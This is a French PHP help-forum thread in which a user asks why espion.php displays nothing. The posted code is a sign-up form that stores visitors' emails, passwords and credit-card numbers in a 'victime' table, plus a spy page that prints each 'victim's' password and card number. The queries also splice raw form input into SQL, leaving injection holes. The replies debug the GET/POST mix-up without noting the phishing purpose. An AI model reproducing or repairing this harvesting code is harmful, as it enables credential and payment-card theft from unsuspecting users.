IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

PHP & Base de données Discussion :

Problème dans la requête SELECT


Sujet :

PHP & Base de données

  1. #1
    Membre éclairé Avatar de menoulette
    Inscrit en
    Août 2009
    Messages
    320
    Détails du profil
    Informations forums :
    Inscription : Août 2009
    Messages : 320
    Par défaut Problème dans la requête SELECT
    Bonjour à vous tous
    Bon j'ai un soucis que je n'arrive pas à comprendre d'ou ce se provoque
    ,Bon j'ai page inscription.php qui contient un formulaire d'inscription les données d'entrées seront ajouté à une table nommée victime qui contient les champs suivant(email,sexe,date_de_naissance,mot_de_passe,pays,ville,quantite,montant,cartecredit) puis y'a une autre page ou je récupère les donées et je les affiche sur cette page nommée espion.php
    le problème c'est que lorsque j'accéde à cette page rien ne s'affiche alors que l'ajout se passe trés bien sur la table les voici les codes
    inscription.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
     
    <?php
    	if(isset ($_POST['submit']) AND isset($_POST['email1']))
        {
          	  $mail=$_POST['email1'];
     
            mysql_connect("localhost", "root", "");// avec les paramètres localhost
            mysql_select_db("espion")or die("cannot to select db");// avec les paramètres localhost
            $result = mysql_query("INSERT INTO `victime` (`email` ,`sexe` ,`date_naissance`,`mot_de_passe` ,`pays`  ,`ville` ,`quantite` ,`montant`,`cartecredit` )
    VALUES (  '".$_POST['email1']."','".$_POST['sexe']."', '".$_POST['part3']."-".$_POST['part2']."-".$_POST['part1']."', '".$_POST['password']."',  '".$_POST['forumurl']."', '".$_POST['geo']."', '".$_POST['quantite']."', '".$_POST['montant']."','".$_POST['carte']."')") or die("error");
     
     
           }
    ?>
     <form name="form" method="POST" action="">
    <input name="email1" size="30" maxlength="50" class="input" value="" type="text">
    <input name="sexe" value="m" checked="checked" type="radio"><b>Masculin <input name="sexe" value="f" type="radio">
    <select name="part1">//jusqu'a la fin ...
    pour espion.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
     
     
    mysql_connect("localhost","root","");
     mysql_select_db("espion")or die("can not selecte db");
     
     if(isset($_POST['email1'])){
    $req=mysql_query("SELECT email,sexe,date_naissance FROM victime WHERE email='".$_POST['email1']."'")or die("Erreur SQL : $query<br/>".mysql_error());; 
    	$repo=mysql_fetch_array($req);
    	echo'<BR><FONT COLOR=green>L\'ADRESSE E-MAIL DE LA VICTIME: </FONT COLOR>   '.$repo['email'];
    			if($repo['sexe']=="m"){
    	echo ' 
    	<BR><FONT COLOR=RED>SEXE:</FONT> <b><font size=4> masculin </font>';}
     
    	else{  echo ' 
    	<BR><FONT COLOR=RED>SEXE:</FONT> <b><font size=4> féminin </font>';}
     
    	//echo'<BR><FONT COLOR=RED>LA DATE DE NAISSANCE DE LA VICTIME:</FONT COLOR> <b><font size=4>'  .$_POST['part1'].'-'.$_POST['part2'].'-'.$_POST['part3'].'</font>';		
    	//echo'<BR><FONT COLOR=blue>LE MOT DE PASSE DE LA VICTIME:</FONT COLOR>  '.$_POST['password'];
     
    	//echo'<BR><FONT COLOR=RED>LOCALISATION DE LA VICTIME:</FONT COLOR>   '.$_POST['forumurl'];
     
    	//echo'<BR><FONT COLOR=RED>LA VILLE OU SE TROUVE LA VICTIME:</FONT COLOR>   '.$_POST['geo'];
     
    	//echo'<BR><FONT COLOR=green>LE NUMERO DE CARTE DE CREDIT DE LA VICTIME : </FONT COLOR>   '.$_POST['carte'];
    	echo'<BR><FONT COLOR=green>LA DATE DE NAISSANCE DE LA VICTIME : </FONT COLOR>   '.$repo['date_naissance'];
    	echo'<BR><FONT COLOR=green>LE MOT DE PASSE DE LA VICTIME : </FONT COLOR>   '.$repo['mot_de_passe'];
    	echo'<BR><FONT COLOR=green>LE PAYS DE LA VICTIME : </FONT COLOR>   '.$repo['pays'];
    	echo'<BR><FONT COLOR=green>LA LOCALISATION DE LA VICTIME : </FONT COLOR>   '.$repo['ville'];
    	echo'<BR><FONT COLOR=green>LE NUMERO DE CARTE DE CREDIT DE LA VICTIME : </FONT COLOR>   '.$repo['cartecredit'];}
     
     
    ?
    l'idée est que lorsque l'utilisateur s'enregistre j'accéde à une autre page (espion.php) pour afficher les informations de l'utilisateur
    Merci pour votre aide

  2. #2
    Membre éprouvé Avatar de lou-03
    Profil pro
    Inscrit en
    Avril 2010
    Messages
    156
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Avril 2010
    Messages : 156
    Par défaut
    Bonjour,

    Comment accèdes-tu à ta page espion.php?
    Je ne sais pas si c'est ça qui bloque mais essaye en utilisant GET plutôt que POST.

  3. #3
    Membre éclairé Avatar de menoulette
    Inscrit en
    Août 2009
    Messages
    320
    Détails du profil
    Informations forums :
    Inscription : Août 2009
    Messages : 320
    Par défaut
    Merci pr votre réponse j'accède à la page espion.php quand je désire afficher les informations enregistrées...

  4. #4
    Membre éprouvé Avatar de lou-03
    Profil pro
    Inscrit en
    Avril 2010
    Messages
    156
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Avril 2010
    Messages : 156
    Par défaut
    Ok, je pense donc que c'est juste qu'il faut utiliser get au lieu de post.
    Je crois que post permet surtout d'utiliser des variables et que get permet de récupérer les valeurs.
    C'est pour ça que rien ne s'affiche

  5. #5
    Membre éprouvé
    Avatar de Rakken
    Homme Profil pro
    Inscrit en
    Août 2006
    Messages
    1 257
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations forums :
    Inscription : Août 2006
    Messages : 1 257
    Par défaut
    Ok, je pense donc que c'est juste qu'il faut utiliser get au lieu de post.
    Je crois que post permet surtout d'utiliser des variables et que get permet de récupérer les valeurs.
    En fait, get et post, c'est la même chose, à la différence qu'avec get, les variables sont passées dans l'url (du genre mapage?champ=valeur) et avec post, les variables sont envoyés depuis un formulaire.

    Ceci étant, l'intuition de lou-03 est probablement la bonne.
    Si tu accèdes directement à ta page espion.php, $_POST['email1'] ne sera pas défini, donc tu ne rentres pas dans ton if et rien n'est affiché.

Discussions similaires

  1. [Débutant] problème dans la requête [INSERT][SELECT]
    Par imenamouna dans le forum C#
    Réponses: 2
    Dernier message: 26/07/2012, 13h36
  2. [MySQL] Problème dans ma requête SELECT
    Par shelko dans le forum PHP & Base de données
    Réponses: 4
    Dernier message: 30/03/2007, 01h04
  3. fusion de 2 colonnes dans une requête select?
    Par epeichette dans le forum Requêtes
    Réponses: 1
    Dernier message: 04/11/2005, 23h05
  4. Accents non pris en compte dans les requêtes SELECT
    Par YanK dans le forum Requêtes
    Réponses: 1
    Dernier message: 30/08/2005, 10h57
  5. C'est possible dans une requête SELECT ?
    Par Kokito dans le forum Langage SQL
    Réponses: 7
    Dernier message: 15/04/2005, 16h59

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo